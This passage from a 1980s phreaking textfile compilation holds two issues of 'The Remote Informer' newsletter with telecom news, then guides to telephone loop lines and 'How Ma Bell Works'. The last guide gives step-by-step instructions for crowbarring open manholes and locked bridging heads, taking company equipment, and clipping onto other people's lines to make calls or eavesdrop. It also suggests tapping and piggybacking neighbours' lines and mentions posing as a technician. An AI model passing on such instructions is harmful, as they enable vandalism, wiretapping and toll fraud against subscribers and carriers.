  7000. #
  7001.  
  7002.  
  7003. #     The Editors: Tracker, Ye Cap'n, Norman Bates and The Reporter
  7004. #
  7005. #
  7006. #
  7007. ###########################################################################╝###
  7008. ===========================================================================╝===
  7009. =                 FCC Charges Much Ado About Not Much
  7010. =
  7011. ===========================================================================╝===
  7012.      New Cannan, CT -- International Resource Develope of New Cannan, CT
  7013. says
  7014. that the market bubble for packet switch networks like TeleNet is going to
  7015. burst by 1991, regardless of what the Federal Communications Commission
  7016. does
  7017. about access charges.  Cheap fiber, which greatly increases the capacity,
  7018. and
  7019. ISDN services, which let you share a phone line with your computer, will do
  7020. the business in, the report says.  Over the next four years, however, the
  7021. demand for packet switch services to will grow from $650 million to $1,612
  7022. million (If the Baby Bells are allowed to add competition to the market,
  7023. the
  7024. $5/hour access charge cannot be passed though to the customers anyway).
  7025. ] Supplied by Ye Cap'n
  7026. ===========================================================================╝===
  7027. =                   Pirate's Hollow Update
  7028. =
  7029. ===========================================================================╝===
  7030.      San Carlos, CA -- The Pirate's Hollow, one of the more popular BBS's
  7031. in
  7032. the Bay Area, is installing several new features that will even add to it's
  7033. popularity.  For one, users will be able to gamble against each other by
  7034. betting on NFL games and participating in the Pirate's Hollow Lottery.
  7035. Also,
  7036. in order to support one of the best newsletters around, the Pirate's Hollow
  7037. will soon be adding a seperate module that will act as an outpost for The
  7038. Remote Informer.  This module will feature the older issues of the
  7039. newsletter,
  7040. a section that will keep you abreast of updates of recently released
  7041. information, and a section that will show what is upcoming in the next
  7042. issues
  7043. of The Remote Informer.
  7044.      The long-awaited database will soon be put online.  Over 800 textfiles
  7045. on a variety of subjects will be available to the users that pay the access
  7046. fee that will be determined at a later date.  Many more are on the way, and
  7047. will be included at no charge. The charge will be a one time charge though,
  7048. rather than a yearly payment.
  7049.      Another new option will be available by early December.  PC Pursuit
  7050. callback will be installed.  This will allow people to call and then get
  7051. called back if your area code is supported by PC Pursuit.  This will also
  7052. require a charge, to be set at a later date.
  7053.      The Pirate's Hollow has been doing well in its comeback to the
  7054. telecommunications world, but we need more callers in order to formulate a
  7055. more diverse user base.  Please spread the BBS # around while also trying
  7056.  
  7057.  
  7058. to
  7059. make others aware of the newsletter.
  7060. ===========================================================================╝===
  7061. =                               Switching Systems
  7062. =
  7063. ===========================================================================╝===
  7064.      There are currently three different forms of switching systems that
  7065. are
  7066. present in the United States today. Step by Step (SxS), Crossbar, and the
  7067. Electronic Switching System (ESS) make up the group.  Phreaks have always
  7068. been
  7069. a little tenative when it comes to "doing their work" once they have heard
  7070. about effects of switching systems on their hobby.  After researching this
  7071. topic, I have found that there really is not that much to be worried about.
  7072. Read on, while I share with you information which I have compiled about all
  7073. of
  7074. these switching systems and their distinct features.
  7075.      The first switching system that was used in the country was called
  7076. Step
  7077. by Step.  This was adopted in 1918 by Bell, and until 1978, they had over
  7078. 53%
  7079. of all their exchanges using Step by Step (SxS).  This system is known for
  7080. it's long, confusing train of switches that are used for its step by step
  7081. switching.
  7082.      Step by Step has many disadvantages to phone users.  The switch train
  7083. becomes jammed fairly often, and it causes calls to be blocked.  Also, SxS
  7084. does not allow the use of DTMF dialing. This accounts for some of the areas
  7085. in
  7086. the United States that cannot have touch tone dialing abilities.  A
  7087. tremendous
  7088. amount of electricity and maintenance needs to accompany the SxS switching
  7089. system, which makes it even more impratical.  All in all, this is probably
  7090. the
  7091. most archaic switching system around.
  7092.     There are a number of ways to see if you are on SxS.  You will notice
  7093. that
  7094. there are no pulsing digits after dialing.  Most sources say that the phone
  7095. company will sound like many typewriters.  SxS does not offer features such
  7096. as
  7097. speed calling, call forwarding, three-way calling, call waiting, and other
  7098. such services.  Pay phones on SxS also will want your money before you
  7099. receive
  7100. a dial tone.  This adds to the list of disadvantages labelled to that of
  7101. the
  7102. Step by Step switching systems.
  7103.      Another type of switching system that is prevalent in the United
  7104. States
  7105. is Crossbar.  Crossbar has been Bell's primary switcher after 1960, and
  7106. three
  7107. types of it exists.  Number 1 Crossbar (1xB), Number 4 Crossbar (4xB), and
  7108. the
  7109. Number 5 Crossbar (5xB).  In Crossbar, a switching matrix is used for all
  7110. the
  7111. phones in an area, and when someone calls, the route is determined and is
  7112. met
  7113. up with the other phone.  This matrix is set-up in horizontal and vertical
  7114.  
  7115.  
  7116. paths.  Unlike other swichting systems, in my research, I could not come up
  7117. with any true and definate distinguishing features of the Crossbar
  7118. switching
  7119. systems.
  7120.      The Electronic Switching System (ESS) is yet another switching system
  7121. used in the United States and the most used of all three swicthing systems.
  7122. ESS is an extremely advanced and multi-faced type of switching system, and
  7123. is
  7124. feared by marauders of the phone company everywhere.  With ESS, your phone
  7125. company is able to know every digit dialed (including mistakes), who you
  7126. call,
  7127. when you called, and how long you were connected.  ESS is also programmed
  7128. to
  7129. print out the numbers of people who make excessive calls to WATS numbers
  7130. (800
  7131. services) or directory assistance.  This feature of ESS is called 800
  7132. Exceptional Calling Report, and has spelled the end of some forms of
  7133. continuous code hacks to certain extenders.  ESS can also be programmed to
  7134. print logs of who called and abused certain numbers as well.  Everything is
  7135. kept track of in its records.
  7136.      The aforementioned facts show that ESS has made the jobs of
  7137. organizations
  7138. such as the FBI, NSA, and other phone company security forces easier.
  7139. Tracing
  7140. can be done in a matter of microseconds, and the result will be
  7141. conveniently
  7142. printed out on the monitor of a phone company officer.  ESS is also
  7143. programmed
  7144. to pick up any "foreign tones" on the phone line such as the many varied
  7145. tones
  7146. emulated by boxes.
  7147.      ESS can be identified by a few features common in it.  The 911
  7148. emergency
  7149. service is covered in the later versions of ESS.  Also, you are given the
  7150. dial
  7151. tone first when using a pay phone unlike that of SxS.  Calling services
  7152. like
  7153. call forwarding, speed calling, and call waiting are also common to ESS.
  7154. One
  7155. other feature common to ESS is ANI (Automatic Number Identification) for
  7156. long
  7157. distance calls.  As you can see, ESS is basically the zenith of all
  7158. switching
  7159. systems, and it will probably plague the entire country by the early
  7160. 1990's.
  7161. Soon after, we should be looking forward to a system called CLASS.  This
  7162. switching system will contain the feature of having the number of the
  7163. person
  7164. that is calling you printed out on your phone.
  7165.      What have I concluded about these switching systems?  Well, they are
  7166. not
  7167. good enough.  I know a few people employed by the phone company, and I know
  7168. for a fact that they do not have enough time these days to worry about code
  7169. users, especially in large, metropolitan areas.  So, I will go out on a
  7170. limb
  7171. here, and say that a large portion of people will never have to worry about
  7172. the horrors of ESS.
  7173. ] Written by Ye Cap'n
  7174.  
  7175.  
  7176. ===========================================================================╝===
  7177. =                  New Gizmo Can Change Voice Gender
  7178. =
  7179. ===========================================================================╝===
  7180.      The most amazing device has turned up in the new Hammacher Schlemmer
  7181. catalog:  the telephone voice gender changer.
  7182.      What it does is change the pitch of your voice from, say, soprano to
  7183. bass
  7184. -- a most efficient way to dissuade an obscene phone caller just as he's
  7185. getting warmed up.
  7186.      That is not the same as running a 45 r.p.m. record at 33. In digital
  7187. conversion, the pitch can be changed without altering the speed.
  7188.      The device runs on a 9-volt batter and attaches to the telephone mouth
  7189. piece with a rubber coupler that takes but a moment to slip on and off.
  7190.      With the changer switched on, says Lloyd Gray, a Hammacher Schlemmer
  7191. technical expert, "the effect is similar to what you hear when they
  7192. interview
  7193. an anonymous woman on television and disguise her voice by deepening it."
  7194. "It's better for changing a woman's voice to a man's than the other way
  7195. around," Gray said.  A man can use it to raise the pitch of his voice, but
  7196. he
  7197. still won't sound like a woman."
  7198.      A man could, however, use the changer to disguise his voice. But with
  7199. the
  7200. device set on high, Gray's voice still could be identified as his own. On
  7201. low,
  7202. his normal tenor became so gravel like that the words were unintelligible.
  7203. ] Supplied by Tracker and The Reporter
  7204. ===========================================================================╝===
  7205.  
  7206.      We look for information in anyway related to the newsletter.  If you
  7207. have
  7208. something of interests, or something that you saw on television, or in the
  7209. newspaper, then upload it to one of the boards listed below.  You will
  7210. receive
  7211. full credit.
  7212. Pirate's
  7213. Hollow..................................................(415)593-6784
  7214. Bates
  7215. Motel......................................................(619)267-0293
  7216. ===========================================================================╝===
  7217.  
  7218.    Brought to you by the Jolly Roger in the Cookbook!!!!!!!!!!!!!!!!!!
  7219.  
  7220. ###########################################################################╝###
  7221. #                      _________________________________
  7222. #
  7223. #                       /he Remote Informer Newsletter!
  7224. #
  7225. #
  7226. #
  7227. #--------------------------------------------------------------------------╝--#
  7228.  
  7229.  
  7230. # November                                                     TRI Issue:
  7231. 05 #
  7232. #--------------------------------------------------------------------------╝--#
  7233. #
  7234. #
  7235. #    The Editors:  Tracker, Ye Cap'n, Norman Bates, and The Reporter
  7236. #
  7237. #
  7238. #
  7239. ###########################################################################╝###
  7240. ===========================================================================╝===
  7241. =                                 AT&T Rates
  7242. =
  7243. ===========================================================================╝===
  7244.      WASHINGTON -- American Telephone & Telegraph Co. proposed Tuesday to
  7245. lower its interstate long-distance rates by an average of 3.6 percent to
  7246. reflect reduced costs in connecting to the local telephone network.
  7247.      The largest decrease -- 6.3 percent -- would be seen in day time
  7248. prices
  7249. "because of the need to make those rates more competitive," AT&T said.
  7250.      Rates for calls made during evening hours would drop 2.2 percent and
  7251. calls made during the late night and weekends would be cut by 0.8 percent,
  7252. the
  7253. company said.
  7254.      The rate reductions would take effect Jan. 1, if they are approved by
  7255. the
  7256. Federal Communications Commission.
  7257.      Reacting to the proposed price cuts, MCI Communications Corp. and US
  7258. Sprint Communications Co., the nation's second-largest and third-largest
  7259. long
  7260. distance companies respectively, said their response would depend on what
  7261. the
  7262. FCC finally approves but both said they intended to remain competitive with
  7263. AT&T. AT&T, the nation's largest long-distance company, proposed to the FCC
  7264. that its rates drop as much as $800 million, but AT&T said the exact amount
  7265. will depend on the access charges the FCC allows the local telephone
  7266. companies
  7267. to collect from long distance carriers, which must pay the fees to hook
  7268. into
  7269. the phone local network.
  7270.      AT&T has challenged the new access rates filed by the regional Bell
  7271. operating companies, contending they are more than $1 billion too high.
  7272. In proposing its new rates, the long-distance leader told the FCC it
  7273. expects local companies' access fees to fall by at least $200 million --
  7274. which
  7275. would amount to an average rate reduction of less than 1 percent.  But the
  7276. company said it believes the FCC will order an additional $600 million in
  7277. reductions based on AT&T's challenge.
  7278.      "We're confident the FCC will recognize that access charges filed by
  7279. the
  7280. local telephone companies need to be substantially reduced, which would
  7281. mean
  7282. more savings for our customers," said Larry Garfinkel, AT&T vice president
  7283. for
  7284.  
  7285.  
  7286. marketing.
  7287.      He said the company filed its proposed rates based on disputed charges
  7288. because "we wanted to let the public react ... and further to let the FCC
  7289. have
  7290. full knowledge of where we were heading given our expectation that we had a
  7291. valid basis for our dispute."
  7292.      AT&T's long-distance rates have fallen by about 34 percent since the
  7293. company was stripped of its local operating companies by an antitrust
  7294. decree
  7295. nearly four years ago.
  7296.      Since then, phone rate payers have been paying a larger share of the
  7297. costs
  7298. of maintaining the local network through monthly subscriber line charges,
  7299. now
  7300. $2.60 for residential customers.
  7301.      That has reduced the long-distance companies' share of local network
  7302. expenses, which they pay in the form of access charges.
  7303.      Jack Grubman, a telephone analyst with PaineWebber Inc., said AT&T's
  7304. proposal targets business customers because "that's where the competition
  7305. is
  7306. and where the better (profit) margins are." In addition, it aims to keep
  7307. the
  7308. pressure on competition in international calling by extending discounts to
  7309. more customers. Grubman added that, if the company's rate proposal is
  7310. approved
  7311. by the FCC, he would expect no further cuts in AT&T rates in 1988.
  7312.      Wendell Lind, AT&T administrator of rates and tariffs, said the cuts
  7313. for
  7314. business and residential customers are about the same because business cuts
  7315. are offset by a proposed $128 million increase in AT&T's private line
  7316. rates.
  7317.      AT&T is the only long-distance company whose rates are regulated by
  7318. the
  7319. FCC, but its prices set the pace for the industry. Though AT&T is far
  7320. larger
  7321. than any of its competitors, its market share has been declining since
  7322. divestiture and the company now says it serves about 75 percent of the
  7323. market.
  7324.      In addition to the reductions in basic long-distance rates, AT&T
  7325. proposed
  7326. cutting prices by 5 percent and 5.7 percent for its Pro-America calling
  7327. plans.
  7328.      The company also proposed to reduce prices by 2.9 percent for its 800
  7329. Service customers and 4.4 percent for WATS customers, although it would
  7330. increase the monthly access line charges for those plans by $3.20 to
  7331. reflect
  7332. higher special access charges filed by the local phone companies.
  7333. ] Supplied by Tracker and The Reporter
  7334. ===========================================================================╝===
  7335. =               US Sprint Operator Service Traffic Increases 40%
  7336. =
  7337. =                          New Center Added In Dallas
  7338. =
  7339. ===========================================================================╝===
  7340.      ORLANDO, Fla. -- US Sprint Wednesday announced its long distance
  7341. operators who began saying, "May I help you?" just five months ago, are now
  7342.  
  7343.  
  7344. handling 3.5 million calls a month.
  7345.      The fiber-optic long-distance carrier, offering the only operator
  7346. service
  7347. alternative to AT&T has experienced a 40 percent growth in operator service
  7348. calls since it announced its service July 1.
  7349.      Amanda Weathersby, US Sprint vice president of product marketing, said
  7350. Tuesday, "More and more people are taking advantage of our call completion
  7351. assistance and alternative billing arrangements.
  7352.      "Customer surcharges are the same as AT&T with the added benefit of US
  7353. Sprint's fiber-optic quality and lower long-distance rates."
  7354.      US Sprint currently offers person-to-person, station-to-station, call
  7355. completion and collect calling. US Sprint has announced an agreement with
  7356. US
  7357. WEST Service Link that will allow anyone to call on US Sprint and charge
  7358. their calls to a Regional Bell Operating Co. calling card beginning in
  7359. first
  7360. quarter 1988.
  7361.      "Previously, our operator service was available only on pre-subscribed
  7362. US Sprint phones and recently we added operator assistance for US Sprint
  7363. FON
  7364. CARD customers," Weathersby said.
  7365.      "With this new agreement, we'll be able to expand our operator service
  7366. to markets such as pay phones, hospitals, and hotels/motels."
  7367.      The newest 24-hour operator service center in Dallas began operations
  7368. on
  7369. Oct. 5.  US Sprint's other operator service centers are  in:  Cherry Hill,
  7370. N.J.; Atlanta; Lombard, Ill. and Reno, Nev.
  7371.      US Sprint is a joint venture of United Telecommunications Inc. of
  7372. Kansas
  7373. City, Mo. and GTE Corp. of Stamford, Conn.
  7374. ] Supplied by Tracker and The Reporter
  7375. ===========================================================================╝===
  7376. =             Pacific Bell Pursuing Calling Card Thief
  7377. =
  7378. ===========================================================================╝===
  7379.      SAN FRANCISCO--(BW)--Pacific Bell is warning consumers to protect
  7380. their
  7381. telephone calling cards like any other credit card in the wake of a series
  7382. of
  7383. frauds by people posing as phone company employees.
  7384.      A Pacific Bell spokesman says customers in the 213, 805 and 916 area
  7385. codes are being victimized by someone who says he is a telephone company
  7386. employee investigating calling card fraud.  The individual calls people at
  7387. home at odd hours, asking for their calling card numbers.  He then sells
  7388. the
  7389. numbers to people who use the numbers to make long distance phone calls.
  7390.      As recently as Monday of this week, 180 long distance calls were
  7391. billed
  7392. to a Sacramento area resident who had given his number to the thief just
  7393. three
  7394. hours earlier.
  7395.      According to Pacific Bell, this kind of scheme and other forms of
  7396. calling
  7397. card fraud cost telephone customers nationwide half a billion dollars a
  7398. year.
  7399.      The company offered these tips to consumers to avoid becoming a victim
  7400.  
  7401.  
  7402. of
  7403. calling card fraud:
  7404.      Never give your calling card number or personal identification number
  7405. to
  7406. anyone.  Any telephone company employee with a legitimate need to know the
  7407. number has access to it.
  7408.      Treat your calling card like any other credit card.  Report its loss
  7409. immediately by calling the 800 number on the back of the card 800-621-0430.
  7410.      If you receive a suspicious call regarding your telephone calling
  7411. card,
  7412. report it by calling the 800 number on the back of the card.
  7413.      If you receive a call from someone claiming to be a telephone company
  7414. employee and asking for your calling card number, ask for a name and number
  7415. to
  7416. call back.  Then call the local Pacific Bell business office to report the
  7417. incident.
  7418.      One suspect was arrested in Southern California last week by a quick
  7419. thinking customer who did just that.  Pacific Bell immediately contacted
  7420. the
  7421. local police department.  A suspect holding seven stolen calling card
  7422. numbers
  7423. was arrested minutes later.
  7424.      Pacific Bell and long-distance telephone companies will credit
  7425. customers
  7426. for calling card charges determined to be fraudulent.  Pacific Bell is a
  7427. subsidiary of Pacific Telesis Group, a diversified telecommunications
  7428. corporation based in San Francisco.
  7429. ] Supplied by Tracker and The Reporter
  7430. ===========================================================================╝===
  7431.      We look for information in anyway related to the newsletter.  If you
  7432. have
  7433. something of interests, or something that you saw on television, or in the
  7434. newspaper, then upload it to one of the boards listed below.  You will
  7435. receive
  7436. full credit.
  7437. Pirate's
  7438. Hollow..................................................(415)593-6784
  7439. Bates
  7440. Motel......................................................(619)267-0293
  7441. ===========================================================================╝===
  7442.  
  7443.   Brought to you in the Cookbook courtesy of the Jolly Roger!!!!!!!!!!!
  7444.  
  7445. The Phreaker's Guide to Loop Lines          courtesy of the Jolly Roger
  7446.  
  7447.     A loop is a wonderous device which the telephone company created as
  7448. test
  7449. numbers for telephone repairmen when testing equipment.  By matching the
  7450. tone of the equipment with the tone of the loop, repairmen can adjust and
  7451. test
  7452. the settings of their telephone equipment.
  7453.     A loop, basically, consists of two different telephone numbers.  Let's
  7454. use A and B as an example.  Normally if you call A, you will hear a loud
  7455. tone (this is a 1004 hz tone), and if you call B, the line will connect,
  7456. and
  7457. will be followed by silence.
  7458.  
  7459.  
  7460.     This is the format of a loop line. Now, if somebody calls A and someone
  7461. else calls B--Viola!--A and B loop together, and one connection is made.
  7462. Ma Bell did this so repairmen can communicate with each other without
  7463. having to call their own repair office. They can also use them to exchange
  7464. programs, like for ANA or Ringback. Also, many CO's have a "Loop Assignment
  7465. Center".  If anyone has any information on these centers please tell me.
  7466.     Anyway, that is how a loop is constructed.  From this information,
  7467. anyone can find an actual loop line. Going back to the A and B example,
  7468. Note: the tone side and the silent side can be either A or B.  Don't be
  7469. fooled
  7470. if the phone company decides to scramble them around to be cute.
  7471.    As you now know, loops come in pairs of numbers.  Usually, right after
  7472. each
  7473. other.
  7474.  For example: 817-972-1890
  7475.                  and
  7476.               817-972-1891
  7477.    Or, to save space, one loop line can be written as 817-972-1890/1.
  7478.    This is not always true.  Sometimes, the pattern is in the tens or
  7479. hundreds,
  7480. and, occaisionally, the numbers are random.
  7481.    In cities, usually the phone company has set aside a phone number suffix
  7482. that loops will be used for.  Many different prefixes will correspond
  7483. with that one suffix.
  7484.    In Arlington, Texas, a popular suffix for loops is 1893 and 1894, and
  7485. a lot of prefixes match with them to make the number.
  7486.  For Example:  817-460-1893/4
  7487.                817-461-1893/4
  7488.                817-465-1893/4
  7489.                817-467-1893/4
  7490.                817-469-1893/4
  7491.         ...are all loops...
  7492.    or a shorter way to write this is:
  7493.               817-xxx-1893/4
  7494.       xxx= 460, 461, 465, 467, 469
  7495.    Note: You can mix-and-match a popular suffix with other prefixs in a
  7496. city, and almost always find other loops or test numbers.
  7497.    Note: For Houston, the loop suffixes are 1499 and 1799.  And for Detroit
  7498. it's 9996 and 9997.
  7499.    When there are a large number of loops with the same prefix format,
  7500. chances are that many loops will be inter-locked.  Using the above example
  7501. of Arlington loops again, (I will write the prefixes to save space) 460,
  7502. 461,
  7503. and 469 are interlocked loops.  This means that only one side can be used
  7504. at
  7505. a given time.  This is because they are all on the same circuit.
  7506.    To clarify, if 817-461-1893 is called, 817-460 and 469-1893 cannot be
  7507. called because that circuit is being used.  Essentialy, interlocked loops
  7508. are all the same line, but there are a variety of telephone numbers to
  7509. access
  7510. the line.
  7511.    Also, if the operator is asked to break in on a busy loop line he/she
  7512. will say that the circuit is overloaded, or something along those
  7513. lines.  This is because Ma Bell has taken the checking equipment off
  7514. the line.  However, there are still many rarely used loops which can
  7515. be verfied and can  have emergency calls taken on them.
  7516.    As you have found out, loops come in many types.  Another type of loop
  7517. is a
  7518.  
  7519.  
  7520. filtered loop.  These are loop lines that the tel co has put a filter on,
  7521. so
  7522. that normal human voices cannot be heard on either line.  However, other
  7523. frequencies may be heard.  It all depends on what the tel co wants the
  7524. loop to be used for. If a loop has gotten to be very popular with the
  7525. local population or used frequently for conferences, etc. the tel co may
  7526. filter
  7527. the loop to stop the unwanted "traffic".  Usually, the filter will be
  7528. removed after a few months, though.
  7529.  
  7530.                    ----------------Brought to you by the Jolly Roger
  7531.  
  7532.  
  7533. How Ma Bell Works                               by the Jolly Roger
  7534.  
  7535. In  this  article,  I  will first describe  the  termination,
  7536. wiring,  and  terminal  hardware most commonly used in  the  Bell
  7537. system, and I will include section on methods of using them.
  7538.      -------------
  7539.      LOCAL NETWORK
  7540.      -------------
  7541. The   local   telephone   network   between   the    central
  7542. office/exchange  and  the  telephone subscribers can  be  briefly
  7543. described as follows:
  7544. From  the  central office (or local exchange) of  a  certain
  7545. prefix(es), underground area trunks go to each area that has that
  7546. prefix  (Usually  more than one prefix per area.)  At  every  few
  7547. streets or tract areas, the underground cables surface. They then
  7548. go to the telephone pole (or back underground,  depending on  the
  7549. area)  and  then  to the subsribers house (or in the case  of  an
  7550. apartment building or mutliline business,  to a splitter or  dis-
  7551. tribution box/panel).
  7552. Now  that  we have the basics,  I'll try and go in-depth  on  the
  7553. subject.
  7554.     ------------------
  7555.     UNDERGROUND CABLES
  7556.     ------------------
  7557. These  are sometimes inter-office trunks,  but usually in  a
  7558. residential  area they are trunk lines that go to bridging  heads
  7559. or  distribution  cases.  The cables are about 2-3  inches  thick
  7560. (varies),  and  are  either  in  a metal  or  pvc-type  pipe  (or
  7561. similiar).  Rarely (maybe not in some remote rural areas) are the
  7562. cables  just 'alone' in the ground.   Instead they are usually in
  7563. an  underground cement tunnel (resembles a small sewer or  storm-
  7564. drain.)   The manholes are >heavy< and will say 'Bell system'  on
  7565. them.  they can be opened with a 1/2 inch wide crowbar (Hookside)
  7566. inserted  in the top rectangular hole.  There are ladder rungs to
  7567. help you climb down.  You will see  the cable  pipes on the wall,
  7568. with the blue and white striped one being  the inter-office trunk
  7569. (at  least  in my  area).  The others  are local  lines,  and are
  7570. usually marked or color  coded.  There is almost  always a posted
  7571. color code  chart on the wall, not to mention  Telco manuals de-
  7572. scribing the cables and terminals, so I need not get into detail.
  7573. Also, there is usually  some kind  of  test equipment,  and often
  7574. Bell test sets are  left  in there.
  7575.        --------------
  7576.        BRIDGING HEADS
  7577.        --------------
  7578.  
  7579.  
  7580. The  innocent-looking  grayish-green boxes.   These  can  be
  7581. either trunk bridges or bridging for residences.  The major trunk
  7582. bridging  heads  are usually larger,  and they have the  'Western
  7583. Electric' logo at the bottom,  whereas the normal bridging  heads
  7584. (which  may  be different in some areas-depending on the  company
  7585. you are served by.  GTE B.H.'s look slightly different.  Also, do
  7586. not  be  fooled by sprinkler boxes!)  They can be found  in  just
  7587. about every city.
  7588. To open a bridging head: if it is locked (and you're feeling
  7589. destructive),  put a hammer or crowbar (the same one you used  on
  7590. the  manhole) in the slot above the top hinge of the right  door.
  7591. Pull hard, and the door will rip off. Very effective! If it isn't
  7592. locked (as usual),  take a 7/8 inch hex socket and with it,  turn
  7593. the bolt  about 1/8 of a turn  to the  right  (you  should hear a
  7594. spring release inside). Holding the bolt, turn the handle all the
  7595. way to the left and pull out.
  7596. To Check for a test-set (which are often left by Bell employees),
  7597. go inside - First check  for a test-set  (which  are  often  left
  7598. by  Bell  employees).   There should be a panel of terminals  and
  7599. wires.   Push the panel back about an inch or so,  and rotate the
  7600. top  latch  (round with a flat section)  downward.   Release  the
  7601. panel  and it will fall all the way forward.  There is usually  a
  7602. large  amount  of wire and extra terminals.   The  test-sets  are
  7603. often hidden here,  so don't overlook it (Manuals,  as  well,  are
  7604. sometimes placed in the head).   On the right door is a metal box
  7605. of alligator clips.   Take a few (Compliments of Bell.).  On each
  7606. door is a useful little round metal device. (Says 'insert gently'
  7607. or'  clamp  gently - do not overtighten' etc..)  On the front  of
  7608. the disc, you should find two terminals.  These are for your test
  7609. set.   (If you dont have one, dont despair -I'll show you ways to
  7610. make basic test sets later in this article).
  7611. Hook the ring (-) wire to the 'r' terminal;  and the tip (+)
  7612. wire  to the other.  (By the way,  an easy way to  determine  the
  7613. correct polarity is with a 1.5v LED.   Tap it to the term.  pair,
  7614. if  it  doesnt light,  switch the poles until it does.   When  it
  7615. lights,find the longer of the two LED poles:  This one will be on
  7616. the  tip wire (+).   Behind the disc is a coiled  up  cord.  This
  7617. should have two alligator clips on it..  Its very useful, because
  7618. you dont have to keep connecting and disconnecting the fone (test
  7619. set) itself, and the clips work nicely.
  7620. On  the  terminal  board,  there should be  about  10  screw
  7621. terminals  per  side.   Follow the wires,  and you can see  which
  7622. cable pairs are active.  Hook the clips to the terminal pair, and
  7623. you're set!   Dial out if you want,  or just listen (If someone's
  7624. on theline).  Later,  I'll show you a way to set up a true  'tap'
  7625. that  will let the person dial out on his line and receive  calls
  7626. as normal, and you can listen in the whole time.  More about this
  7627. later...
  7628. On  major  prefix-area bridging heads,  you can  see  'local
  7629. loops' ,which are two cable pairs (cable pair = ring+tip,  a fone
  7630. line)  that are directly connected to each other on the  terminal
  7631. board.   These  'cheap  loops' as they are called,  do  not  work
  7632. nearLy  as  well  as the existing ones set up  in  the  switching
  7633. hardware  at the exchange office.   (Try scanning your  prefixes'
  7634. 00xx  to 99xx #'s.)  The tone sides will announce themselves with
  7635. the 1008 hz loop tone,  and the hang side will give no  response.
  7636. The  first  person  should dial the 'hang' side,  and  the  other
  7637. person dial the tone side,  and the tone should stop if you  have
  7638.  
  7639.  
  7640. got the right loop.)
  7641. If  you want to find the number of the line that you're  on,
  7642. you  can either try to decipher the 'bridging log' (or whatever),
  7643. which is on the left door.  If that doesnt work,  you can use the
  7644. follwing:
  7645.      ---------------------------
  7646.      ANI # (Automatic Number ID)
  7647.      ---------------------------
  7648. This  is a Telco test number that reports to you the  number
  7649. that youre calling from (It's the same, choppy 'Bell bitch' voice
  7650. that you get when you reach a disconnected #)
  7651. For the   213 NPA - Dial 1223
  7652.           408 NPA - Dial 760
  7653.           914 NPA - Dial 990
  7654. These  are  extremely useful when messing with any  kind  of line
  7655. terminals, house boxes, etc.
  7656. Now that we have bridging heads wired, we can go on... (don't
  7657. forget to close and latch the box after all... Wouldnt want GE
  7658. and Telco people mad, now, would we?)
  7659.      -------------------------------------
  7660.      "CANS" - Telephone Distribution Boxes
  7661.      -------------------------------------
  7662.  
  7663. Basically, two types:
  7664. 1> Large, rectangular silver box at the end of each street.
  7665. 2> Black, round, or rectangular thing at every telephone pole.
  7666. Type 1 -   This is the case that takes the underground cable from
  7667. the  bridge and runs it to the telephone pole cable (The  lowest,
  7668. largest  one  on the telephone pole.)  The box is always  on  the
  7669. pole nearest the briging head, where the line comes up.  Look for
  7670. the 'Call before you Dig - Underground cable' stickers..
  7671. The  case box is hinged,  so if you want to climb the  pole,
  7672. you  can open it with no problems.   These usually have 2 rows of
  7673. terminal sets.
  7674. You  could try to impersonate a Telco technician and  report
  7675. the  number as 'new active' (giving a fake name and fake  report,
  7676. etc.)   I  dont recommend this,  and it  probably  won't  (almost
  7677. positively won't) work,  but this is basically what Telco linemen
  7678. do).
  7679. Type  2 - This is the splitter box for the group of houses around
  7680. the  pole  (Usually  4 or 5 houses).   Use it  like  I  mentioned
  7681. before.   The terminals (8 or so) will be in 2 horizontal rows of
  7682. sets.   The  extra  wires  that  are  just  'hanging  there'  are
  7683. provisions for extra lines to residences (1 extra line per house,
  7684. thats  why  the insane charge for line #3!)  If its the  box  for
  7685. your  house  also,  have fun and swap lines with  your  neighbor!
  7686. 'Piggyback'  them  and  wreak havoc  on  the  neighborhood  (It's
  7687. eavesdropping  time...)  Again,  I don't recommend this,  and its
  7688. difficult to do it correctly.  Moving right along...
  7689.      ------------------------------
  7690.      APARTMENT / BUSINESS MULTILINE
  7691.            DISTRIBUTION BOXES
  7692.      ------------------------------
  7693. Found  outside the buliding (most often on the  right  side,
  7694. but not always...   Just follow the wire from the telephone pole)
  7695. or  in the basement.   It has a terminal for all the lines in the
  7696. building.   Use it just like any other termination box as before.
  7697. Usually says 'Bell system' or similar.  Has up to 20 terminals on
  7698.  
  7699.  
  7700. it (usually.) the middle ones are grounds (forget   these).   The
  7701. wires come from the cable to one row (usually the left one), with
  7702. the other row of terminals for the other row of terminals for the
  7703. building  fone wire pairs.   The ring (-) wire is usually the top
  7704. terminal if the set in the row (1 of 10 or more),  and the tip is
  7705. in the clamp/screw below it.  This can be reversed, but the cable
  7706. pair is always terminated one-on-top-of-each- other,  not on  the
  7707. one  next  to  it.  (I'm  not sure why the other  one  is  there,
  7708. probably as aprovision for extra lines) Don't use it  though,  it
  7709. is usually to close to the other terminals, and in my experiences
  7710. you get a noisy connection.
  7711. Final note:  Almost every apartment, business, hotel, or anywhere
  7712. there   is  more  than  2  lines  this  termination  lines   this
  7713. termination method is used.  If you can master this type, you can
  7714. be  in control of many things...   Look around in your area for a
  7715. building  that  uses this type,  and practice hooking up  to  the
  7716. line, etc.
  7717. As  an  added  help,here is the basic  'standard'  color-code  for
  7718. multiline terminals/wiring/etc...
  7719. Single line:  Red = Ring
  7720.             Green = Tip
  7721.            Yellow = Ground *
  7722. *  (Connected  to  the ringer coil  in  individual  and  bridged
  7723.     ringer   phones (Bell only)  Usually  connected to the  green
  7724.     (Tip)
  7725. Ring (-) = Red
  7726.            White/Red Stripe
  7727.            Brown
  7728.            White/Orange Stripe
  7729.            Black/Yellow Stripe
  7730. Tip (+) =  Green (Sometimes
  7731.             yellow, see above.)
  7732.            White/Green Stripe
  7733.            White/Blue Stripe
  7734.            Blue
  7735.            Black/White Stripe
  7736. Ground =   Black
  7737.            Yellow
  7738.       ----------------------
  7739.       RESIDENCE TERMINAL BOX
  7740.       ----------------------
  7741. Small,  gray (can be either a rubber (Pacific Telephone) or  hard
  7742. plastic  (AT & T) housing deal that connects the cable pair  from
  7743. the  splitter box (See type 2,  above) on the pole to your  house
  7744. wiring.  Only 2 (or 4, the 2 top terminals are hooked in parallel
  7745. with the same line) terminals, and is very easy to use.  This can
  7746. be  used to add more lines to your house or add an external  line
  7747. outside the house.
  7748.       ---------
  7749.       TEST SETS
  7750.       ---------
  7751. Well,  now  you  can  consider  yourself a minor  expert  on  the
  7752. terminals and wiring of the local telephone network.  Now you can
  7753. apply  it  to whatever you want to do..  Here's another  helpful
  7754. item:
